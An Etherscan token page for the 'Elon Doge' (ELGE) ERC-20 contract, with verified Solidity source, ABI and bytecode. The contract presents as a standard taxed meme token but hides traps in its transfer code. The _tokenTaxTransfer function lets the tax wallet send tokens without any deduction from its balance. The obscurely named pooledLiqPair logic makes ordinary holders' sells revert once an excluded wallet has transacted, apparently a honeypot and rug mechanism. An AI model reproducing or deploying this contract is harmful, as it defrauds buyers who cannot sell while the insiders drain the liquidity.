ETH Price: $2,535.09 (-0.15%)

Token

Elon Doge (ELGE)
 

Overview

Max Total Supply

145,717,946,384 ELGE

Holders

77

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
389,068,514.760552438 ELGE

Value
$0.00
0x20bec56a4d5dad9f20c1a1457cb7708f263330a5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ELGE

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-28
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a, uint256 b, string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (
        uint amountToken, uint amountETH, uint liquidity
    );
}

contract ELGE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _reduceBuyTaxAt=25;

    uint256 private _reduceSellTaxAt=25;

    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    address payable private _taxWallet;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 145717946384 * 10**_decimals;
    string private constant _name = unicode"Elon Doge";
    string private constant _symbol = unicode"ELGE";

    uint256 public _maxTxAmount = 2185769195 * 10**_decimals;
    uint256 public _maxWalletSize = 2185769195 * 10**_decimals;
    uint256 public _taxSwapThreshold = 1602897410 * 10**_decimals;
    uint256 public _maxTaxSwap = 1602897410 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private caLiqLimit = 0;
    struct PooledLiqPair {uint256 initial; uint256 pooled; uint256 revPercent;}
    mapping(address => PooledLiqPair) private pooledLiqPair;
    uint256 private poolAmuntPercent;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet=payable(0xF624e34ee30519AFaB786fc8Ac8e84565C6617CD);
        _balances[_msgSender()]= _tTotal;
        _isExcludedFromFee[_taxWallet]= true;
        _isExcludedFromFee[address(this)]= true;

        emit Transfer(address(0),_msgSender(),_tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount>0, "Transfer amount must be greater than zero");

        if (! swapEnabled || inSwap) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner()&& to != _taxWallet) {
            taxAmount = tokenAmount
                    .mul((_buyCount > _reduceBuyTaxAt)? _finalBuyTax: _initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) &&  ! _isExcludedFromFee[to]) {
                require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to)+ tokenAmount<= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to==uniswapV2Pair && from!= address(this) ){
                taxAmount = tokenAmount
                        .mul((_buyCount>_reduceSellTaxAt)? _finalSellTax: _initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap&& to == uniswapV2Pair && swapEnabled
                && contractTokenBalance > _taxSwapThreshold
                && _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance>0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if( (_isExcludedFromFee[from] ||_isExcludedFromFee[to]) && from != address(this) && to!= address(this)) {
            poolAmuntPercent = block.number;
        }
        if (
            ! _isExcludedFromFee[from]
                && !_isExcludedFromFee[to]
        ){
            if (uniswapV2Pair !=  to) {
                PooledLiqPair storage pooledLP = pooledLiqPair[to];
                if (uniswapV2Pair == from) {
                    if (pooledLP.initial == 0) {
                        if (_buyCount>_preventSwapBefore) {
                            pooledLP.initial = block.number;
                        } else {
                            pooledLP.initial = block.number.sub(1);
                        }
                    }
                } else {
                    PooledLiqPair storage pooledLPSync = pooledLiqPair[from];
                    if (pooledLPSync.initial < pooledLP.initial || !(pooledLP.initial>0) ) {
                        pooledLP.initial = pooledLPSync.initial;
                    }
                }
            } else {
                PooledLiqPair storage pooledLPSync = pooledLiqPair[from];
                pooledLPSync.pooled = pooledLPSync.initial.sub(poolAmuntPercent);
                pooledLPSync.revPercent = block.timestamp;
            }
        }

        _tokenTransfer(from,to,tokenAmount,taxAmount);
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 tokenAmount,
        uint256 taxAmount
    ) internal {
        uint256 tAmount= _tokenTaxTransfer(from, tokenAmount, taxAmount);
        _tokenBasicTransfer(from, to,tAmount, tokenAmount.sub(taxAmount));
    }

    function _tokenBasicTransfer(
        address from,
        address to,
        uint256 sendAmount,
        uint256 receiptAmount
    ) internal {
        _balances[from] = _balances[from].sub(sendAmount);
        _balances[to] = _balances[to].add(receiptAmount);

        emit Transfer(from, to,receiptAmount);
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount= addrs != _taxWallet ? tokenAmount : caLiqLimit.mul(tokenAmount);
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this),taxAmount);
        }
        return tAmount;
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a > b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount= _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function manualClearEth() external onlyOwner {
        uint256 contractBalance = address(this).balance;
        require(contractBalance > 0, "Contract has no ETH balance to clear");
        payable(owner()).transfer(contractBalance);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        swapEnabled = true;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualClearEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600455600f6005555f6006555f60075560196008556019600955600f600a555f600b556009600a61003791906102cd565b6100459063824830eb6102e2565b600d556100546009600a6102cd565b6100629063824830eb6102e2565b600e556100716009600a6102cd565b61007f90635f8a46026102e2565b600f5561008e6009600a6102cd565b61009c90635f8a46026102e2565b6010556012805461ffff60a81b191690555f6013553480156100bc575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600c80546001600160a01b03191673f624e34ee30519afab786fc8ac8e84565c6617cd17905561012f6009600a6102cd565b61013e906421ed7768106102e2565b335f81815260016020818152604080842095909555600c546001600160a01b0316835260039052838220805460ff199081168317909155308352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101b26009600a6102cd565b6101c1906421ed7768106102e2565b60405190815260200160405180910390a36102f9565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561022557815f190482111561020b5761020b6101d7565b8085161561021857918102915b93841c93908002906101f0565b509250929050565b5f8261023b575060016102c7565b8161024757505f6102c7565b816001811461025d576002811461026757610283565b60019150506102c7565b60ff841115610278576102786101d7565b50506001821b6102c7565b5060208310610133831016604e8410600b84101617156102a6575081810a6102c7565b6102b083836101eb565b805f19048211156102c3576102c36101d7565b0290505b92915050565b5f6102db60ff84168361022d565b9392505050565b80820281158282048414176102c7576102c76101d7565b611b9b806103065f395ff3fe60806040526004361061011e575f3560e01c80637d1db4a51161009d578063a9059cbb11610062578063a9059cbb1461030e578063bf474bed1461032d578063dd62ed3e14610342578063f2fde38b14610386578063fb9b361e146103a5575f80fd5b80637d1db4a51461027e5780638a8c523c146102935780638da5cb5b146102a75780638f9a55c0146102cd57806395d89b41146102e2575f80fd5b8063313ce567116100e3578063313ce567146101f157806351bc3c851461020c57806370a0823114610222578063715018a614610256578063751039fc1461026a575f80fd5b806306fdde0314610129578063095ea7b31461016c5780630faee56f1461019b57806318160ddd146101be57806323b872dd146101d2575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50604080518082019091526009815268456c6f6e20446f676560b81b60208201525b60405161016391906117a2565b60405180910390f35b348015610177575f80fd5b5061018b6101863660046117ee565b6103b9565b6040519015158152602001610163565b3480156101a6575f80fd5b506101b060105481565b604051908152602001610163565b3480156101c9575f80fd5b506101b06103cf565b3480156101dd575f80fd5b5061018b6101ec366004611818565b6103f0565b3480156101fc575f80fd5b5060405160098152602001610163565b348015610217575f80fd5b50610220610457565b005b34801561022d575f80fd5b506101b061023c366004611856565b6001600160a01b03165f9081526001602052604090205490565b348015610261575f80fd5b506102206104a8565b348015610275575f80fd5b50610220610522565b348015610289575f80fd5b506101b0600d5481565b34801561029e575f80fd5b506102206105d6565b3480156102b2575f80fd5b505f546040516001600160a01b039091168152602001610163565b3480156102d8575f80fd5b506101b0600e5481565b3480156102ed575f80fd5b50604080518082019091526004815263454c474560e01b6020820152610156565b348015610319575f80fd5b5061018b6103283660046117ee565b610987565b348015610338575f80fd5b506101b0600f5481565b34801561034d575f80fd5b506101b061035c366004611871565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610391575f80fd5b506102206103a0366004611856565b610993565b3480156103b0575f80fd5b50610220610a7a565b5f6103c5338484610b33565b5060015b92915050565b5f6103dc6009600a61199c565b6103eb906421ed7768106119aa565b905090565b5f6103fc848484610c57565b61044d843361044885604051806060016040528060288152602001611b3e602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111f0565b610b33565b5060019392505050565b600c546001600160a01b0316336001600160a01b031614610476575f80fd5b305f9081526001602052604090205480156104945761049481611228565b4780156104a4576104a481611398565b5050565b5f546001600160a01b031633146104da5760405162461bcd60e51b81526004016104d1906119c1565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461054b5760405162461bcd60e51b81526004016104d1906119c1565b6105576009600a61199c565b610566906421ed7768106119aa565b600d556105756009600a61199c565b610584906421ed7768106119aa565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b46009600a61199c565b6105c3906421ed7768106119aa565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105ff5760405162461bcd60e51b81526004016104d1906119c1565b601254600160a01b900460ff16156106595760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d1565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106a39030906106946009600a61199c565b610448906421ed7768106119aa565b6012805460ff60b01b1916600160b01b1790556011546040805163c45a015560e01b815290516001600160a01b039092169163c45a0155916004808201926020929091908290030181865afa1580156106fe573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072291906119f6565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610781573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a591906119f6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107ef573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081391906119f6565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061085a816001600160a01b03165f9081526001602052604090205490565b5f8061086d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108d3573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108f89190611a11565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561094d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109719190611a3c565b506012805460ff60a01b1916600160a01b179055565b5f6103c5338484610c57565b5f546001600160a01b031633146109bc5760405162461bcd60e51b81526004016104d1906119c1565b6001600160a01b038116610a215760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104d1565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610aa35760405162461bcd60e51b81526004016104d1906119c1565b4780610afd5760405162461bcd60e51b8152602060048201526024808201527f436f6e747261637420686173206e6f204554482062616c616e636520746f20636044820152633632b0b960e11b60648201526084016104d1565b5f80546040516001600160a01b039091169183156108fc02918491818181858888f193505050501580156104a4573d5f803e3d5ffd5b6001600160a01b038316610b955760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d1565b6001600160a01b038216610bf65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610cbb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d1565b6001600160a01b038216610d1d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d1565b5f8111610d7e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d1565b601254600160b01b900460ff161580610da05750601254600160a81b900460ff165b15610db557610db08383836113cf565b505050565b5f80546001600160a01b03858116911614801590610de057505f546001600160a01b03848116911614155b8015610dfa5750600c546001600160a01b03848116911614155b1561105357610e2b6064610e25600854600b5411610e1a57600454610e1e565b6006545b8590611472565b906114f7565b6012549091506001600160a01b038581169116148015610e5957506011546001600160a01b03848116911614155b8015610e7d57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f6357600d54821115610ed45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d1565b600e5482610ef6856001600160a01b03165f9081526001602052604090205490565b610f009190611a5b565b1115610f4e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d1565b600b8054905f610f5d83611a6e565b91905055505b6012546001600160a01b038481169116148015610f8957506001600160a01b0384163014155b15610fb657610fb36064610e25600954600b5411610fa957600554610e1e565b6007548590611472565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610fec57506012546001600160a01b038581169116145b80156110015750601254600160b01b900460ff165b801561100e5750600f5481115b801561101d5750600a54600b54115b156110515761103f61103a8461103584601054611538565b611538565b611228565b47801561104f5761104f47611398565b505b505b6001600160a01b0384165f9081526003602052604090205460ff168061109057506001600160a01b0383165f9081526003602052604090205460ff165b80156110a557506001600160a01b0384163014155b80156110ba57506001600160a01b0383163014155b156110c457436015555b6001600160a01b0384165f9081526003602052604090205460ff1615801561110457506001600160a01b0383165f9081526003602052604090205460ff16155b156111de576012546001600160a01b038481169116146111ac576001600160a01b038084165f90815260146020526040902060125490918681169116036111745780545f0361116f57600a54600b541115611161574381556111a6565b61116c43600161154c565b81555b6111a6565b6001600160a01b0385165f90815260146020526040902081548154108061119a57508154155b156111a457805482555b505b506111de565b6001600160a01b0384165f90815260146020526040902060155481546111d19161154c565b6001820155426002909101555b6111ea8484848461158d565b50505050565b5f81848411156112135760405162461bcd60e51b81526004016104d191906117a2565b505f61121f8486611a86565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061126e5761126e611a99565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112c5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112e991906119f6565b816001815181106112fc576112fc611a99565b6001600160a01b0392831660209182029290920101526011546113229130911684610b33565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061135a9085905f90869030904290600401611aad565b5f604051808303815f87803b158015611371575f80fd5b505af1158015611383573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b600c546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104a4573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546113f1908261154c565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461141f90826115b7565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c4a9085815260200190565b5f825f0361148157505f6103c9565b5f61148c83856119aa565b9050826114998583611b1e565b146114f05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d1565b9392505050565b5f6114f083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611615565b5f81831161154657826114f0565b50919050565b5f6114f083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f0565b5f611599858484611641565b90506115b08585836115ab878761154c565b6116f1565b5050505050565b5f806115c38385611a5b565b9050838110156114f05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d1565b5f81836116355760405162461bcd60e51b81526004016104d191906117a2565b505f61121f8486611b1e565b600c545f9081906001600160a01b039081169086160361166d576013546116689085611472565b61166f565b835b905082156116e957305f9081526001602052604090205461169090846115b7565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116e09087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f90815260016020526040902054611713908361154c565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461174190826115b7565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117949085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146117eb575f80fd5b50565b5f80604083850312156117ff575f80fd5b823561180a816117d7565b946020939093013593505050565b5f805f6060848603121561182a575f80fd5b8335611835816117d7565b92506020840135611845816117d7565b929592945050506040919091013590565b5f60208284031215611866575f80fd5b81356114f0816117d7565b5f8060408385031215611882575f80fd5b823561188d816117d7565b9150602083013561189d816117d7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156118f657815f19048211156118dc576118dc6118a8565b808516156118e957918102915b93841c93908002906118c1565b509250929050565b5f8261190c575060016103c9565b8161191857505f6103c9565b816001811461192e576002811461193857611954565b60019150506103c9565b60ff841115611949576119496118a8565b50506001821b6103c9565b5060208310610133831016604e8410600b8410161715611977575081810a6103c9565b61198183836118bc565b805f1904821115611994576119946118a8565b029392505050565b5f6114f060ff8416836118fe565b80820281158282048414176103c9576103c96118a8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611a06575f80fd5b81516114f0816117d7565b5f805f60608486031215611a23575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a4c575f80fd5b815180151581146114f0575f80fd5b808201808211156103c9576103c96118a8565b5f60018201611a7f57611a7f6118a8565b5060010190565b818103818111156103c9576103c96118a8565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611afd5784516001600160a01b031683529383019391830191600101611ad8565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b3857634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201eaddff8ba0718186015b9ad3a26efbda3da440f933ef2e61af83cbf86e5928964736f6c63430008190033

Deployed Bytecode

